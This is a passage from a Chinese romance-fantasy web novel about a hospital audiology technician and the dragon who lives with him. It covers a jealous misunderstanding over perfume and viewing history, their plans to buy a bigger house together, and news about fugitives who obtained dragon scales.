夏天睡在那无所谓,等到冬天怕是有点难熬,而且懒人沙发的长度对宴氿来说其实有点小,得屈着腿睡。 陶清观望向坐在阳台上的宴氿,突然有种用阳台养宠物的感觉, 看到宴氿修长的双腿无处安放时,那种感觉越发明显。 真的好像被关在阳台,憋屈但听话的大型犬。 ……换个大点的房子? 这个念头冒出来, 陶清观越想越觉得可行, 正好租房合同快到期了,他手里也存了点钱, 买间有两个卧室的房子应该没问题。 “想什么呢, 站门口半天不进来。” 宴氿合上手中的书,起身走到陶清观面前, 问道:“陶笠鹤训你了?” 看他的架势, 好像陶清观说是,宴氿下一秒就会去找陶笠鹤算账。 陶清观摆摆手,笑道:“他哪次吵架赢过我, 不说这个,你觉得我们换间房子怎么样?” “都行。”宴氿视线扫过陶清观的脸庞,没发现异状,但他心底却有种异样的感觉,他压下心头的思绪,问道:“怎么突然想起换房子?” “你不觉得这个房子住两个人太小了吗?”陶清观换好拖鞋,走到沙发旁坐下,左右交叠起修长的双腿。 “再说,你真打算一直睡沙发?” 宴氿心下微动,目光划过卧室的门,睡哪对他来说无所谓,但如果能和陶清观睡一起,那自然是最好。 他在陶清观身旁坐下,开口道:“那就换间大点的,有看中的房子吗?” “我还没开始看。”陶清观拿出手机,先下载了几个看房软件。 宴氿将一张卡放在桌上,开口道:“钱不够,就用这里面的,我卖了几件礼器,钱都在这里。” 几个礼器对宴氿来说根本是九牛一毛,陶清观也不客气,伸手接过银行卡,就在这时,他倏然闻到浅浅的兰花香。 陶清观鼻尖耸动,确定香味的来源是宴氿,他微不可察的蹙眉,这明显是女士香水的味道,宴氿从哪沾上的。 他转过头,望着宴氿,问道:“你一直在家?” 宴氿神色坦然,“不然我还能去哪。” 陶清观抿唇,他站起身,抬脚走向卧室,“我累了,先去睡觉了。” 他刻意放慢脚步,等待宴氿回应,结果宴氿只是回了句好,接着就没了下文。 陶清观啪地一声将门关上,眉心拧成一个川字。 孩子大了,这都有自己的小秘密了。 ………… 医院内。 陶清观一手支着下巴,看着身旁奋笔疾书的陆满满,冷不丁地开口问道:“你觉得男人出轨会有什么征兆?” 陆满满一愣,把笔放下思索,“会突然对自己的伴侣很好,比如送礼物,打钱之类,心理学上说,这是出于愧疚的弥补。” 送礼物,打钱…… 陶清观摸了摸腕上的手链,又想到钱包里的银行卡,感觉都对上了,不过他没和宴氿确认关系,应该也算不上出轨。 可他总觉得头上绿绿的,像充满自由气息的呼伦贝尔大草原。 陆满满奇怪道:“你怎么突然想起问这个?” “没什么。”陶清观表情深沉,“成熟的男人能自己处理这种问题。” 陆满满脑袋上缓缓冒出一个问号,不理解陶清观突然抽什么疯。 陶清观摇头叹气,抬手拍了下陆满满的肩膀,“你最近要去理发店吗?” 陆满满老实回答:“可以去,头发是有点长了。” “去的时候记得叫我。”陶清观捏了撮自己的头发,开口道:“我要把这玩意染成绿的。” 陆满满:“!?” “你受什么刺激了?”陆满满瞳孔地震,“你前不久不是说你没对象吗?” “现在也没。”陶清观扯了下唇角,把陆满满的后背拍得啪啪响,“不骚扰你了,你接着做题。” 陆满满狐疑地打量着陶清观,见陶清观真没有再说的意思,他才又拿起笔。 陶清观打了个哈欠,揉了揉眼睛,昨天睡的有点晚,这会儿他有点困,说归说,但他并不觉得宴氿会在外面搞小三,虽然他以前一直以为宴氿喜欢当曹操。 不过宴氿有事瞒着他是真的,陶清观眯起眼眸,现在回想,他感觉宴氿哪哪都可疑。 算了,谁能没几个小秘密,而且他也没资格说宴氿,陶清观抬眸望向窗外。 天空很蓝,一碧如洗,万里无云,藏不住半点阴霾。 陶清观又打了个哈欠,眼角沁出一点儿泪花。 今天是疯狂星期四,该吃KFC。 因为看什么都想吃,陶清观不出意外地点多了,下班时他把剩下的塞进包里,准备回去投喂宴氿。 刚坐到车内,电话铃声响起,陶清观瞥了眼屏幕,发现是妈妈打来的,他顿了顿,伸手按下接听键。 “喂,妈,怎么了?” “爷爷跟你说过了吧,我和你爸爸下周回去。”徐婉晴声音中带着歉意,“抱歉,早就跟你说回来,结果拖了这么久,不过这一次我们能待很久。” 陶清观握着方向盘,目光落在远处,“没事,正好我前一段时间也忙,房子提前找阿姨打扫过了吗?” “放心,这种事我不会忘的。”徐婉晴笑道:“好久不见面了,妈给你做大餐。” 陶清观一秒想起被徐婉晴厨艺支配的恐惧,他委婉地开口:“我们可以去外面吃,做一桌子菜太费时间了。” 徐婉晴自信满满,“没事没事,我在国外学了不少新菜式,就等着回来给你做。” 陶清观嘴角抽搐,什么新菜式,奶油黄瓜炖蛋,黄鱼水果披萨么,徐婉晴动手能力不差,但做菜时特别喜欢灵机一动,来个排列组合。 西瓜咕咾肉,番茄紫菜汤,醋溜南瓜饼,比起做饭,陶清观觉得徐婉晴更适合去炼丹。 幸好那边的房子有两个厕所,外面不远处的街上还有个公共厕所,应该没有问题。 陶清观妥协道:“行,你做几道,我再从外面买点菜回来。” “没问题。”说完,徐婉晴那边没了动静,隐隐能听见细碎的交谈声,大概是徐婉晴说话时将听筒堵住。 陶清观指尖点着方向盘,不用猜都知道徐婉晴在和谁说话,没过多久,一道男声从手机中传来。 “最近怎么样?” “就那样。”陶清观态度肉眼可见地敷衍。 电话那边的陶雨霖蹙眉,刚想训斥,就被一旁的徐婉晴制止,他咽下口中的话,勉强用缓和地语气说道:“你最近的事我都知道了,做得不错,但……” “停。”陶清观打断陶雨霖,对方那一套吟唱般的话术,他实在是听够了,“教训的话就免了,你是在外面找不到存在感,就跑到我这耍威风?” “你……” “被我戳破心事,恼羞成怒了?”陶清观一点没给陶雨霖留面子,“爷爷都和我说了。” 听完陶笠鹤的话,陶清观回想起不少以前的事,确实有一段时间徐婉晴退掉了外面的工作,整天陪着陶雨霖,也是自那之后,陶雨霖逐渐偏向陶凌霄。 他那时年纪小,记忆很模糊,但有一件事他记得很清楚,年幼的他被徐婉晴抱在怀里,徐婉晴捂着他的耳朵,静静地看着紧闭的房门,当时的他并不懂徐婉晴眼底的情绪,而现在回想来,那么色彩是哀伤。 在房间里的,大概是因为无能而崩溃发泄的陶雨霖。 陶清观敛下眼眸,淡淡道:“你真的很没用,只会将自己的无能发泄在旁人身上,但你也挺聪明的,知道找更弱小的人发泄。” “陶雨霖,你的失败不是我造成的,我的成功也没有你的参与,从小到大所有的家长会,从来没有过你的身影,仅凭那点血缘关系,你没资格教训我。” “妈,你在旁边吧。”陶清观扯了下唇角,似是无奈,却又比无奈复杂太多,“要来找我的话,你一个人来,我不想看见他。” 这一次电话那边沉默了很久,通话时长在一分一秒的增加,电量不足的提示弹出来,陶清观纤长的睫羽轻轻颤动,在他要挂断电话的那一刻,那边终于有了回应。 “我知道了。”徐婉晴嗓音微哑,“囡囡……回来后,我们找个时间聊聊吧。” “嗯。” 电话挂断,车内陷入一片寂静。 陶清观插上钥匙,踩下油门,往家的方向开去。 一路上,他的神情都很平静,走到家门口,陶清观缓缓吁出一口气,他揉了揉自己的脸,让表情看上去更自然一点,然后才打开门。 陶清观一边换鞋子,一边开口说道:“我带了炸鸡回来,你要不要吃?” 回应他的是一片死寂,陶清观愣了愣,他走到客厅,四周静悄悄的,看不见半个人影。 宴氿不在家。 第82章 第 82 章 陶清观:我会记得在房产…… 将装炸鸡的袋子放在餐桌上, 陶清观脱掉外套,他拿着外套站在客厅中央,停顿了一会儿才将外套放下, 转身走进厨房。 前两天买的菜还有剩的, 先做饭吧。 陶清观拧开水龙头,哗啦啦的水柱顺着白菜叶的脉络流淌, 他低垂着眉眼,水流划过手背,带来一丝凉意。 他的目光微微失神, 手上一不小心扯断白菜叶,陶清观抿起唇,将水沥干,把白菜拿到砧板上,他压下纷杂的思绪, 将注意力转移到做饭上。 当他放完调味料,准备盖上锅盖时,门锁转动的声音传来。 陶清观手上的动作停了一下, 然后若无其事地将锅盖盖上。 “怎么没开灯?” 宴氿身上沾着夜晚的寒意, 他也没开灯,而是走向亮着灯的厨房, 他靠在厨房门边, 语气无奈之下又带着一丝宠溺,“是在打什么坏主意?” “我没你那么幼稚, 只是忘了。”陶清观哼了一声, 他背过手想将围裙取下来,但有些不顺手,第一次没成功, 他再去够时,却碰到一只温暖的手。 宴氿站在陶清观身后,弯腰去结围裙上的结,“你怎么打了个死结。” 陶清观两手垂落在身侧,唇瓣微张,“可能刚刚一不小心扯到了。” 宴氿没多想,花了些功夫将结打开,然后顺手把围裙挂起来,动作间他蹭到陶清观的肩膀,不是多亲密的触碰,可陶清观却猛地后退一大步。 陶清观反常的举动让宴氿愣了一下,他不解地问道:“怎么了?” “……没什么。” 他又闻到那股淡淡的女士香水味,宴氿大概直到刚刚都和那人在一起。 问一下吧,问的话,宴氿肯定会回答,但答案会是他想要的吗?陶清观不知道,到嘴边的话也在这一刻顿时。 “桌上有炸鸡,饿的话可以先吃一点。” 陶清观说完,转身欲走,但手腕被宴氿先一步拉住。 宴氿走到陶清观身前,放低声音问道:“究竟发生什么事了,不能告诉我吗?” 陶清观抬起头,对上宴氿关心的目光,他默了片刻,开口道:“你是不是在外面piao了?” 宴氿:“?” “那是犯法的,就算你是龙也不行。”陶清观义正严辞,“被抓到,是要进看守所的。” “这都什么跟什么。”宴氿哭笑不得,“我怎么就和piao娼扯上关系了。” 陶清观视线偏移,“味道。” 宴氿:“嗯?” “你身上味道不对。”陶清观转回目光,抬手搭上宴氿的肩膀,“你别怕,我可以陪你去自首,说不定能从宽处理。” 宴氿一脸黑线,他拉开陶清观的手,开口道:“我没piao娼。” 他想敲陶清观的脑袋,但最终还是忍住了,宴氿看着陶清观的眼睛,认真道:“味道是在店里沾上的,我想要买的东西店里没有,店员说要调货,所以我这两天才会连着过去。” “至于是什么东西……”宴氿薄唇微抿,似有些不好意思,“你过两天就知道了。” 陶清观眨了眨眼,冷不防地开口,“告白用的。” 宴氿身子骤然一僵。 陶清观反应过来,连忙找补,“我瞎猜的,我什么都不知道,你不用告诉我,我一点都不好奇。” 越描越黑,陶清观默默闭嘴,他尴尬地笑笑,试图当作什么都没发生过。 宴氿瞥向陶清观,低低地嗯了一声,若不是陶清观注意力在宴氿身上,差点就没听见。 陶清观瞳孔扩散,张着嘴不知道该说什么,好在宴氿及时岔开话题。 “不是说吃炸鸡,傻站着做什么。” 陶清观:“哦……嗯。” 他跟在宴氿后边走出厨房,眼尖地瞥见对方藏在发丝下的耳尖漫着一抹绯色,配上宴氿那张故作镇定的脸,和一切尽在掌握中的语气。 有点可爱。 陶清观轻笑,见宴氿看过来,他立即摆摆手,“我就是想到吃炸鸡,特别开心。” 宴氿会相信陶清观的鬼话才怪,他冷哼一声,倒也没多说什么。 吃完晚饭。 陶清观没回房间,而是往宴氿旁边一坐,他把手机拿给宴氿看,问道:“看看你喜欢哪一款。” 手机上是不同的户型的房子,因为陶清观想快点住进去,所以他挑的是简装后的房子。 宴氿凑过去,“你比较钟意哪个?” “这两个。” 陶清观把照片拉到后面,一个是一百二十平方的大平层,另一个是栋两层待花园的小别墅,别墅是精装,可以直接拎包入住,周边环境优美,当然价格也很美。 买完这栋别墅,陶清观可以直接进入负二贷的行列了。 宴氿看完照片,大概猜到陶清观想买哪个,他调出别墅的照片,开口道:“就这个。” 陶清观目光幽幽,“十年房贷起步。” 宴氿莞尔,“你看过我给你的卡有多少钱没?” “没有。”陶清观眼睛瞬间亮了,他悄咪咪地问道:“你告诉我有几位数?” 宴氿比了个数字,陶清观的表情从o.o变为O.O。 陶清观一骨碌从沙发上爬起来,朝着大门冲去,宴氿被陶清观这番举动惊得一愣,他开口问道:“你干嘛去?” “去银行自助机涨涨见识。”陶清观头也不回,“我还没见过这么多钱。” 宴氿表情一言难尽,他拎起陶清观的衣领,开口道:“明天你还得上班,改天再去。” “不上了。”陶清观挥挥手中的卡,“我现在可以直接把院长炒鱿鱼。” 宴氿挑眉,“这么喜欢?” 陶清观果断点头,傻子才会跟钱做对。 “那你今天早点睡,明天我再给你一张。”宴氿半是哄道:“那些东西海底要多少有多少。” 陶清观回头,“你挖到金矿了?” “那倒没有。”宴氿说道:“海底的沉船很多,有些船上藏着不少东西。” 陶清观拉住宴氿的胳膊,正色道:“你不是说要去海底,具体是什么时候?我随时可以。” 请假,他明天就请假,这全勤不要也罢。 “我放东西的地方离海岸线很远,等下次假期。”宴氿捏了下陶清观的后颈,这个动作,好像他把对方圈进怀里,宴氿眉眼柔和下来。 “都是你的,别急。” 陶清观清咳一声,虚伪地说道:“我也不是那么想要,不过你放心,我会在房产证上加上你的名字。” 说完,他从宴氿手底下溜出来,三两步跑回自己的卧室。 宴氿碾着手指,上面还留有一些余温,他记得除了亲属,能在同一本房产证上的只有伴侣。 唇角扬起一抹弧度,宴氿心情不错地回到沙发边。 而卧室内的陶清观仰躺在床上,嘴角也噙着笑,找个时间去看房子,没问题就直接定下来。 虽然是精装,但一些家具肯定要换新的,还有很多软装也需要重新布置,到时候找宴氿一起挑选喜欢的,装饰风格也可以问问宴氿,他对这些没什么要求,倒是宴氿对这些挺讲究的。 陶清观望着雪白的天花板,思绪越飘越远,忽然口袋里的手机震动了一下,他拿过手机一看,发现是徐婉晴发来的消息。 消息只有简短的几个字。 ‘晚安,宝贝。’ 陶清观笑容中添上一丝复杂的色彩,他回了一句晚安,将手机扔到一旁。 干脆在徐婉晴他们来之前,把房子搬了,这样只要他不想,他们就找不着他人,逃避虽然可耻,但管用。 陶清观揪过床上的大白鹅,他将脑袋埋在鹅背上,用力蹭了两下,其实他还挺想见徐婉晴的,算了,桥到船头自然直,再说吧。 ………… 第二天。 陶清观来到科室,精神头不错,他来到陆满满身旁,开口道:“你自己去理发店吧,我不用去了。” 陆满满脑袋上缓缓冒出一个问号。 什么玩意? 陶清观显然没有解释的意思,他哼着小曲,开始新一天的仪器校准。 听力室的活挺清闲的,除了周一,每到周一大家就跟说好了似的,组团来医院打卡,一天最多的时候能来三四十号人。 今天不是周一,要清观已经做好摸鱼的准备了,可摸到一半,听力室外居然排起长队,等候区的位置都坐满了。 陆满满都忙得没时间刷题,好不容易找到空隙,他问陶清观:“咋回事,今天有单位体检?” “据我所知,应该没有。”陶清观手上动作动作不停。 这会儿来得全是青壮年,症状还是统一的耳鸣,陶清观叫号的时候扫了一眼等候区,在里面看到那么一两个熟面孔,都是在特管局见过的同行。 陶清观感觉自己大概知道是怎么回事了。 估计是某个惊天大雷突然落下,做任务的雨师没防备,耳朵给震到了,不过究竟是什么样的任务能让这么多雨师出动。 陶清观想了想,给陶笠鹤发了条消息,又接着投身于忙碌的工作中。 等他闲下来,已经是中午,陶清观摸过手机,看到陶笠鹤发来的回信。 ‘前两天找到了那群逃犯的窝点,昨晚执行的任务,过程是曲折了些,但好在没人伤亡,除了头目和两三个不在窝点的,其余人全部抓获。’ 陶清观咬着手中的鸡肉卷,打字问道: ‘有问出什么东西吗?宴氿的逆鳞找到没有?’ 陶笠鹤那边大概在忙,过了一会才回消息。 ‘逆鳞的事还没有结果,有一部分人觉得逆鳞是被头目带走,但大部分人都说没见过逆鳞。’ ‘有一件事,我提前告诉你,那些逃犯是从一条龙手里获得的转换龙鳞的方法,而那条龙与宴氿似乎有些渊源。’ 第83章 第 83 章 宴氿:他是谁? 陶清观咀嚼的动作停下, 他看着对话框内的字,敲下另一段话。 ‘宴氿知道吗?’ 这一次陶笠鹤很快就发来回信。 ‘不知道。’ 陶清观打下一行字,又逐一删掉, 他指尖悬在半空, 迟迟没有落下,这时陶笠鹤又发来一条消息。 ‘据他们所说, 鳞片是那条龙主动送给他们的。” 陶清观一怔,第一反应是不解,从宴氿的态度不难看出, 鳞片落入旁人之手对龙来说是件难以忍受的事,被宴氿逮到的逃犯,都成了医院‘尊贵的vip’客户,那条龙主动把鳞片送出去,简直匪夷所思。 他压着眉尖, 给陶笠鹤回了一条知道了。 这件事肯定会传到宴氿耳中,不过是时间问题,既然这样, 陶清观干脆将聊天记录截图, 一键分享给宴氿。 早晚会出事,那就现在发, 正好现在是中午。 陶清观又咬了一口鸡肉卷, 也不知道龙长起鳞片需要多长时间,说起来他上次看宴氿的龙形已经是好久之前了。 这个念头一生起, 陶清观心底盘算着回去忽悠忽悠宴氿。 手机震动, 陶清观收回发散的思绪,他瞥了眼屏幕,发现宴氿简短地回了个嗯字, 然后就没了下文,似乎对这件事一点都不在意。 陶清观腮帮子一鼓一鼓的,他咽下口中的鸡肉卷,又给发了条信息出去。 ‘晚上我想吃可乐鸡翅,你记得买菜。’ 宴氿那边秒回了一个好。 陶清观放下手机,仰头望向窗外,湛蓝的天空飘着一两朵棉花糖,松软如棉絮一般。 应该没问题……吧。 陶清观将吃完的包装袋揉成一团,扔进垃圾桶,他抽了张纸擦嘴,犹豫片刻,打开浏览器搜索,如何高情商地安慰人。 弹出来的第一个解答,答非所问,陶清观皱眉,换了个搜索方式,这下回答总算像样了点。 陶清观点进去,屏幕忽然一闪,然后满屏白花花的肉ti。 “你吃完没?我关灯了。” 陆满满从食堂回来,准备关灯睡午觉,可他话音未落,就见陶清观手忙脚乱地摁手机,他一愣,“怎么了?” “……没事。” 陶清观点了几下,界面都没关掉,甚至跳到另一个软件上,陶清观索性退回主界面,他揉了揉太阳穴,这些小广告也太猖狂了。 陆满满感觉陶清观奇奇怪怪,但饭后的困意涌上来,他拿出自己的被子,圆润地滚去睡觉。 陶清观歇了在网上找答案的心思,见陆满满睡了,他打了个哈欠,也去睡觉了。 下午还有活要干…… 时间来到下班的点。 陶清观照往常一样,换衣服下班,他回到家门口,甫一开门,就闻到一阵饭菜的香味。 其中又夹杂着那么亿点点糊味。 陶清观换好鞋,走向厨房,神情意外,“你在做饭?” “嗯,想试试。”宴氿这会儿正在洗手,身上的围裙挂着好几种颜色的料汁,砧板上的土豆丝粗细不均,有几个更是得用块来形容。 不过对于第一次尝试的新手来说,已经不错了,陶清观捞起袖子,问道:“还有什么没做,我来帮你。” “不用。”宴氿开口道:“都快做好了。” 陶清观闻言,也没硬要帮忙,他斜靠在厨房门口,看着宴氿切一下土豆,洗一下手,加完调料,洗一下手,翻一下锅,洗一下手。 活没干多少,手都不知道洗多少遍了,陶清观沉默,也不错,至少做出来的菜干净。 宴氿口中的‘快好了’,一直墨迹了快半小时才将菜端上桌,他坐到陶清观对面,待陶清观吃了一筷子菜,他问道:“味道怎么样?” “好吃。”陶清观很给面子,每道菜都尝了,虽然卖相不怎么样,但味道还是蛮好的,至少没出现他预想中放错调味料的情况。 见陶清观吃得开心,宴氿勾起唇角,不疾不徐地拿起面前的筷子吃饭。 陶清观用余光瞄着宴氿的表情,对方神色自然,但陶清观还有一点不放心,他提议道:“等会看电影吗?就在家看。” 宴氿道:“好。” “看喜剧?最近上新了几部。”陶清观说道:“你有其他想看的也行,正好我的VIP还没过期。” 宴氿看什么都无所谓,他开口道:“就喜剧。” 陶清观比了个OK的手势。 吃完饭,陶清观先帮忙洗碗,整理好厨房后,他歇了一会儿,又去浴室洗澡,宴氿已经洗过澡,坐在沙发上等他。 宴氿拿着遥控器调电视,浴室的隔音一般,他直接问道:“电影叫什么名字?” 浴室里的水流声停止,紧接着陶清观的声音传来,“在我的收藏里找,第一个就是。” 宴氿依言去做,他想着先把电影调出来暂停,然后在切点水果,可刚点进‘我的’,一排比基尼美女强势闯入他的视线。 除此之外还有兔女郎,情qu制服等等一系列暴露的装扮,宴氿愣住,去看视频上面的字。 历史观看。 宴氿薄唇微抿,指节因用力微微泛白,他一言不发,将电影调出来,但水果他没再去切。 过了没几分钟,陶清观顶着毛巾出来,他一边擦头发,一边往沙发边走,而宴氿杵在一旁,陶清观没多想,问道:“怎么样,找到没?” 宴氿沉默着没有回答。 陶清观没多想,他看了眼电视屏幕,说道:“就是这个,评分挺高的。” 他往沙发上一坐,冲宴氿招招手,“快来。” 宴氿低低地应了一声,他走到沙发旁,在离陶清观快半米远的位置坐下,他的视线落在电视屏幕上,一句话也没和陶清观说。 陶清观察觉不对劲,他瞥了宴氿一眼,在心底叹气,果然宴氿还是在意那条龙的事,对方说不在意,不过是嘴硬而已。 但宴氿没挑明说,肯定是顾及面子问题,那他就不能戳破,陶清观略微思索,决定暂时先当不知道。 电影片头的音乐响起,陶清观换了个舒服地坐姿,开始看电影。 这部剧探案和喜剧相结合,剧情有趣,根是一个接一个,陶清观注意力逐渐被吸引,看到几人在沙滩上打起来,男主脑袋上扣着个塑料凳到处乱窜,他跟着咯咯笑。 陶清观看得正起劲,旁边的宴氿冷不丁地冒出一句,“你觉得女主好看吗?” 女主身材火辣,穿着比基尼,比历史记录里出现的那些女人还漂亮。 陶清观随口回答道:“挺好看的。” 就是光顾着看乐子,忘记长啥样了。 宴氿放在腿上的手握紧,直到影片结束,都没再说一句话。 陶清观看得聚精会神,最后还有些意犹未尽,最后的小彩蛋是女主抱着男主转圈圈,用得还是公主抱,结果手一滑,男主飞了出去。 他促笑一声,说道:“男主这身伤,百分之八十都是女主干的。” 宴氿说道:“也不知道男主喜欢女主什么。” 陶清观以为宴氿是在跟自己讨论剧情,他开口道:“是阳光开朗善良,长得还好看呗,大部分男的都喜欢这种。” 此处点名他的大学舍友们。 宴氿唇角下压,倏然站起身,“我去睡觉了。” “……哦。” 陶清观望着宴氿的背影,感觉对方心情不太好,他选喜剧本意是想让宴氿放松一下,但现在看来好像起反效果了。 原来那条龙对宴氿这么重要。 陶清观拨弄着耳边的碎发,拿不准这时候要不要打扰宴氿,他纠结了一会儿,还是走到宴氿身旁,开口道:“想不想吃夜宵,我们好久没吃烧烤了。” “这个点吃东西对胃不好。”宴氿终是舍不得不理陶清观。 陶清观年龄小,对异性有兴趣很正常,他这么告诉自己,可心底的酸意止不住冒泡,陶清观真的喜欢他吗?还说是,只是他的错觉。 宴氿一颗心开始动摇,乱七八糟的问题一股脑涌上来,如果以后陶清观发现自己更喜欢女人该怎么办,又或许陶清观对他是一时的新鲜感,人类在情感上本就是善变的种族。 往常他根本不会考虑的事情充斥脑海,清楚这些只是胡思乱想,但越不想,那些事就越发清晰。 “偶尔一次没什么。”陶清观往宴氿那挤了挤,挤出一个位置坐下,他半靠着宴氿,点开外卖软件,“肉串,烤肠……你想吃哪个?” 宴氿喉结滚动,他放在沙发上的手微微抬起,停顿片刻后,落在陶清观腰间,“你看着点。” “哦。” 陶清观感觉到宴氿的动作,无声默许,在宴氿靠过来时,他给对方让出个位置,还顺手摁住宴氿的脑袋让对方靠在自己的肩膀上。 龙,你可以靠在人宽广的胸膛上。 陶清观rua了宴氿两下,安慰道:“不要想那么多,过去的事都过去了。” 宴氿微弯着腰,姿势别扭,听到陶清观的话,眸色渐暗,他侧过身,搂住陶清观,小半个身子压在陶清观身上,偌大一只,“过不去怎么办?” “凉拌,再加个鸡蛋。”陶清观脱口而出,说完又觉得自己太过冷漠,找补道:“那就先把这事放一边,过段时间再回头看,说不定会好点。” “好不了。” 宴氿将脑袋埋在陶清观颈窝处,声音闷闷的,怀中人散发着柑橘的清香,是沐浴露的味道,他喜欢这与自己相同的香味,每每嗅见,一颗心就会平静下来。 可现在心脏仍在躁动,他环着陶清观的胳膊收紧,紧贴着陶清观,追寻对方的心跳声。 陶清观被折腾的有点痒,宴氿跟只大型犬是的拱来拱去,他无奈地揉了揉宴氿的后脑勺,说道:“他可能是有什么苦衷。” 宴氿动作顿住,“他?” 第84章 第 84 章 拼了个爱心出来 “我也不知道他的名字。”陶清观拍拍宴氿的后背, “不过你们认识那么多年,他肯定向着你,不会因为几个人类就把你卖了的。” 宴氿这下听明白陶清观在说谁了, 感情他们两根本不在同一频道上, 宴氿唇瓣绷直,他忽然后仰, 陶清观措不及防,被宴氿带倒,扑在宴氿胸膛上。 陶清观想起来, 但宴氿摁着他的后背,他最多也就支棱起脑袋,这个动作看人,脖子有点累,陶清观趴回去, 靠在宴氿颈边,“三分钟内免费,超过三分钟我就要收费了。” 宴氿哑然失笑, 他搂着陶清观的肩膀, 嗓音微哑,“我能一直待在你身边, 对吗?” 陶清观大脑飞速运转, 这种宛如苦情戏的问题从宴氿嘴里问出来就很违和,果然是受了不少打击。 他露出怜爱的目光, 伸手想摸宴氿脑袋, 但因为没抬头看不见,第一巴掌凭感觉落在宴氿脸上。 陶清观默默挪了下手,这次总算找对地方, “当然可以,别忘了房贷还有你一半。” 他们之间可是有一条牢固的金钱关系。 得到想要的回答,宴氿开心又好像没那么开心,他抱着陶清观坐起身,换了个话题,“外卖点了吗?” 陶清观摇头,“还没付款。” 宴氿开口道:“别点了,要是饿,我去给你做夜宵。” “饿倒是还好。”陶清观被抱得有点难受,他从宴氿胳膊底下钻出来,说道:“但整点烧烤啤酒,心情会变好哦。” “你明天要上班。”宴氿成功一句话把天聊死,他看着垂头丧气的陶清观,唇角上扬,“早点睡。” 陶清观拨弄了两下凌乱的发丝,长叹一口气,他穿上拖鞋,站起身,“跟你这种无业游民没法比。” 他往卧室走,关门前,他特意瞄了宴氿一眼,对方坐在沙发边,神情自然,陶清观心底嘀咕着,应该是好点了。 安慰人,真累。 他啪叽一下倒回床上,卷吧卷吧被子,没多久就睡着了。 而卧室外,宴氿仍保持着陶清观离开时的姿势,他垂着眼眸,周身散发着一股黑色的气息。 喜欢的类型不是他又如何,反正现在在陶清观身边的人是他,以后也是他。 宴氿两手交握,指节泛白,他眯起眼眸,眼底藏着锐利的光芒,不行,他得调查一下,看看陶清观身边究竟有没有那种类型的人。 第二天一早。 陶清观打着哈欠从卧室里出来,大脑还没完全开机,他踩着拖鞋,揉着眼睛往卫生间走,等他出来时,就看见宴氿往桌上端早餐。 他拉开椅子坐下,开口道:“是三丁包吗?” “嗯。”宴氿慢条斯理地喝着豆浆,“你没忘记这周五出去玩吧。” “放心,我已经在排班表上写那天调休了。”陶清观咬着包子,嚼嚼嚼嚼嚼。 出去玩是前几天约好的事,秋天到了,附近的一条街举办了丰收祭,不仅有庙会,还有烟花表演,前几年去过的人都说好。 陶清观对烟花表演的兴趣一般,但庙会上有许多特色美食,他迟疑不过一秒就答应宴氿的邀约。 “七点半烟花秀才开始,我们下午三四点出发?”陶清观开口道:“午饭少吃点,到那边吃好吃的。” 宴氿:“嗯。” 陶清观瞥了眼时间,匆匆起身,跑向玄关,“你慢慢吃,我先走了。” “等一下。”宴氿从厨房拿出一个保温桶,踱步走到陶清观身前,“给你,午饭。” 陶清观望望宴氿,又看看保温桶,眼睛睁得圆溜溜的,他问出一个很傻的问题,“你做的?” 宴氿回答道:“嗯,昨天买的食材还剩一点,就顺手做了。” 顺手……吗? 陶清观看了眼保温桶的层数,最少两菜一汤,宴氿这是做饭做上瘾了? 可惜时间不允许陶清观多问,他拎过保温桶,开口道:“谢谢,拜拜。” 陶清观奔向电梯,开始愉快地牛马生活。 他卡在迟到三分钟前赶到科室,照例和陆满满闲聊两句,他坐到自己的位置上调整仪式。 上午的病人十几个,不算忙,但来得零零散散的,时间不知不觉间就来到中午。 陆满满脱下白大褂,从窗台拿过自己的外卖放到桌上,“这家炒粉不错,汤特别好喝,你下次可以试试。” 陶清观:“叫什么名字?” “田XX。”陆满满照着包装袋念完名字,问道:“你午饭吃什么?” “我带的饭。” 陶清观在陆满满震惊的目光中,从隔壁休息室,拎来保温桶,四层的保温桶与陆满满的外卖一对比,外卖瞬间变得寒酸。 陆满满瞳孔地震,“你自己做的?里面什么东西?” “不是。”陶清观挠了挠脸颊,“我还没看,也不知道里面是什么。” “你舍友做的?”陆满满挑眉,语气中充满调侃,他催促道:“快打开。” “哦。” 陶清观拧开保温桶,经过一上午,桶里的饭菜还是热的。 可乐鸡翅,西红柿炒鸡蛋,冬瓜排骨汤。 卖相先不谈,这香味一飘出来,就够馋人了。 陆满满咽了下口水,从中发现盲点,他指着西红柿炒鸡蛋,说道:“这葱花洒的形状,怎么这么像爱心。” 陶清观望过去,他扯了下唇角,很难说出不像这句话,他把西红柿炒鸡蛋挪到自己面前,开口道:“可能是他的习惯。” “哟哟哟~”陆满满揶揄道:“习惯~” 陶清观瞪过去,“你想吃,还没人给你做。” 他不管陆满满,拉开椅子坐下,拿起筷子准备吃饭,但陆满满挤到他旁边,嚷嚷道。 “你先别吃,让我拍个照片纪念一下。”陆满满掏出手机,啧啧道:“我们小观也是有对象的人了。” 陶清观嫌弃地推开陆满满,“吃你的饭去。” 陆满满咔嚓了两声,心满意足地回到自己的座位,他打开自己的外卖,装模作样地叹气,“我就像那地里黄的小白菜,惨啊。” 陶清观呵了一声,“羡慕就自己找个对象去。” 陆满满膝盖中了一箭,“这是我想找就能找到的吗?” “那就是你的问题了。”陶清观又补一刀,他无视变得忧伤的陆满满,低头吃饭。 味道和昨晚的差不多,但不知为什么,他觉得今天的好吃一点,陶清观咬着筷子尖,眸光微闪。 宴氿这家伙,做这么多,他哪吃得完。 最后因为陶清观不想浪费,陆满满成功蹭上饭,并大力赞扬宴氿的厨艺,拍着陶清观的肩膀,让陶清观好好对人家。 陶清观看着戏精上身的陆满满,只想给对方两拳。 下班的路上,陆满满还不忘问陶清观,“明天还有爱心午餐吗?” 陶清观拱开凑上来的陆满满,说道:“有也没你的份。” “别那么小气。”陆满满踏出医院大门,刚迈出一步他就愣住,“那站着的……是不是你舍友?” 陶清观点头,眼底闪过一丝意外。 宴氿也注意到陶清观出来,他抬脚向陶清观走来。 “你怎么来了?”陶清观问道:“也不和我提前说一声。” 宴氿面上挂着礼貌的微笑,他的视线在陆满满身上走了一圈,又不着痕迹地扫了眼陶清观身后,没看见别的什么人,他开口道:“你忘了?房东不是说让我们有空去看房子。” “现在去?”陶清观感觉又哪里怪怪的,又说不上来。 陆满满诧异,问陶清观道:“你要买房子?” 陶清观点头,“现在的房子两个人住不开。” “哦~”陆满满刻意拖长尾音,冲陶清观挤眉弄眼,“那我就不打扰你们了,你们两玩得开心。” 说完,陆满满拍拍屁股走人。 陶清观到嘴话都没来及说,陆满满这是完全把他和宴氿当成一对了,虽然也差不多,可…… 